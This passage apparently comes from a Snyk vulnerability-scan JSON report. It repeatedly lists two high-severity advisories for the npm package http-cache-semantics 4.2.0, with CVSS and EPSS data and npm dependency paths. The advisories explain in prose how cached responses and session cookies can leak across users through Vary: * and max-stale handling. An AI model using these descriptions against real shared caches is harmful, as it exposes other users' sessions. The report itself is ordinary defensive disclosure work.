disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L603-L623)\n", "epssDetails": { "percentile": "0.45545", "probability": "0.00569", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93748" ], "CWE": [ "CWE-285" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:43:34.353521Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:53Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:43:34.521384Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T15:58:47.938684Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964064", "title": "Origin Validation Error", "CVSSv3": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/57", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L483-L501", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 5.9, "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-10-13T16:08:12.818370Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:43.061830Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:35:25.324035Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Origin Validation Error via the `_varyMatches()` function, which fails to properly handle `Vary: *` (wildcard) headers due to byte-for-byte string comparison. An attacker can request URLs previously fetched by other clients to receive cached responses intended for different users, disclosing sensitive information across clients. The `Vary: *` directive signals that a response is uncacheable for any other request, but the flawed comparison allows the wildcard to be bypassed, enabling cross-client cache disclosure.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/57)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L483-L501)\n", "epssDetails": { "percentile": "0.35961", "probability": "0.00445", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-93750" ], "CWE": [ "CWE-346" ] }, "packageName": "http-cache-semantics", "proprietary": false, "creationTime": "2026-09-20T11:38:34.112334Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-18T19:43:47Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-20T11:38:34.322549Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-13T16:08:12.818370Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/sign@4.1.0", "make-fetch-happen@15.0.4", "http-cache-semantics@4.2.0" ], "upgradePath": [], "isUpgradable": false, "isPatchable": false, "name": "http-cache-semantics", "version": "4.2.0" }, { "id": "SNYK-JS-HTTPCACHESEMANTICS-19964068", "title": "Improper Authorization", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "credit": [ "Wayde Shi" ], "semver": { "vulnerable": [ "*" ] }, "exploit": "Not Defined", "fixedIn": [], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "http-cache-semantics", "references": [ { "url": "https://github.com/kornelski/http-cache-semantics/issues/56", "title": "GitHub Issue" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L425-L441", "title": "Vulnerable Code" }, { "url": "https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js%23L603-L623", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-13T15:58:47.938684Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-19T01:30:44.071900Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-23T05:40:18.618146Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Improper Authorization via improper validation of security-zeroed cache entries when processing client `max-stale` directives. An unauthenticated attacker can request the same URL with a large `max-stale` value to retrieve cached responses belonging to other users, including `Set-Cookie` session credentials from shared-cache entries that were deliberately zeroed for security reasons.\n## Remediation\nThere is no fixed version for `http-cache-semantics`.\n## References\n- [GitHub Issue](https://github.com/kornelski/http-cache-semantics/issues/56)\n- [Vulnerable Code](https://github.com/kornelski/http-cache-semantics/blob/f01112e954b83cfa8765b633ba880e5e980aa54c/index.js#L425-L441)\n- [Vulnerable 